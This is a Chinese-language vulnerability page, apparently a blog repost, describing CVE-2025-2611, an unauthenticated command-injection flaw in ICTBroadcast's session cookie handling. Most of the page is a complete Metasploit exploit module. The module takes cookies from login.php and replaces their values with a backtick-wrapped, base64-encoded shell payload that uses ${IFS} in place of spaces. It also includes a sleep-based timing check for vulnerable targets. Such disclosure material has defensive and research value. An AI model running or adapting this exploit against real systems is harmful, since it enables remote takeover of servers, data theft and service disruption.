ICTBroadcast Unauthenticated Remote Code Execution

漏洞信息

漏洞名称: ICTBroadcast Unauthenticated Remote Code Execution

漏洞编号:

  • CVE: CVE-2025-2611

漏洞类型: 命令执行

漏洞等级: 高危

漏洞描述: ICTBroadcast是一款广泛使用的通信软件,主要用于企业级的短信、语音和电子邮件广播服务。它通常部署在企业内部或云环境中,用于大规模的信息传递和通知服务。由于其广泛的应用,该软件的安全性对许多企业至关重要。该漏洞存在于ICTBroadcast的会话cookie处理机制中,由于对cookie的处理不当,攻击者可以在未授权的情况下注入并执行任意系统命令。这种漏洞的技术根源在于软件未能正确验证和清理用户提供的cookie数据,从而导致命令执行漏洞。这种漏洞的利用不需要任何形式的身份验证,攻击者可以远程利用此漏洞执行任意命令,可能导致服务器被完全控制、数据泄露或服务中断。由于漏洞的利用简单且影响范围广,它被评定为高危漏洞。

产品厂商: ICTBroadcast

产品名称: ICTBroadcast

来源: https://github.com/rapid7/metasploit-framework/blob/50ef5edd90273b4147673d033ed2919640861e7a/modules%2Fexploits%2Flinux%2Fhttp%2Fictbroadcast_unauth_cookie.rb

类型: rapid7/metasploit-framework:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'ICTBroadcast Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits an unauthenticated remote code execution (RCE) vulnerability
in ICTBroadcast. The vulnerability exists in the way session cookies are handled
and processed, allowing an attacker to inject arbitrary system commands.
},
'Author' => [
'Valentin Lobstein' # Metasploit module, Vulnerability discovery
],
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://www.ictbroadcast.com/'],
['CVE', '2025-2611']
],
'Platform' => %w[unix linux],
'Arch' => [ARCH_CMD],
'Targets' => [
[
'Unix/Linux Command Shell',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
}
]
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => '2025-03-19',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
end

def get_valid_cookies
return @valid_cookies if @valid_cookies

print_status('Retrieving session cookies dynamically...')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login.php')
)

return [] unless res&.get_cookies

cookies = res.get_cookies.split('; ').map do |c|
key, value = c.split('=', 2)
next unless key && value

Msf::Exploit::Remote::HTTP::HttpCookie.new(key.strip, value.strip)
end.compact

print_status("Found cookies: #{cookies.map(&:to_s).join(', ')}")
@valid_cookies = cookies
end

def inject_cookie_payload(command)
cookies = get_valid_cookies
return if cookies.empty?

encoded_command = Rex::Text.encode_base64(command)
payload = "echo${IFS}#{encoded_command}|base64${IFS}-d|sh"

updated_cookies = cookies.map do |cookie|
"#{cookie.name}=`#{payload}`"
end.join('; ')

send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login.php'),
'headers' => { 'Cookie' => updated_cookies }
)
end

def check
print_status('Checking if target is an ICTBroadcast instance…')

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)
return Exploit::CheckCode::Unknown('No response from target.') unless res
return Exploit::CheckCode::Safe unless res.code == 200

html = res.get_html_document
title = html.at('title')&.text
keywords = html.at("meta[name='keywords']")&.[]('content')
description = html.at("meta[name='description']")&.[]('content')

if title&.include?('ICT Broadcast') ||
keywords&.include?('ict') ||
description&.include?('ICT Broadcast')

print_good('ICTBroadcast detected, verifying injection…')

[1, 2, 3, 4, 5].sample(3).each do |t|
start_time = Time.now
inject_cookie_payload("sleep #{t}")
if (Time.now - start_time) >= (t - 0.3)
return Exploit::CheckCode::Vulnerable("Injection confirmed (slept #{t}s)")
end
end

return Exploit::CheckCode::Appears('ICTBroadcast detected, but injection timing did not match.')
end

Exploit::CheckCode::Safe
end

def exploit
inject_cookie_payload(payload.encoded)
end
end



ICTBroadcast Unauthenticated Remote Code Execution
http://example.com/2025/08/04/github_1903938/
作者
lianccc
发布于
2025年8月4日
许可协议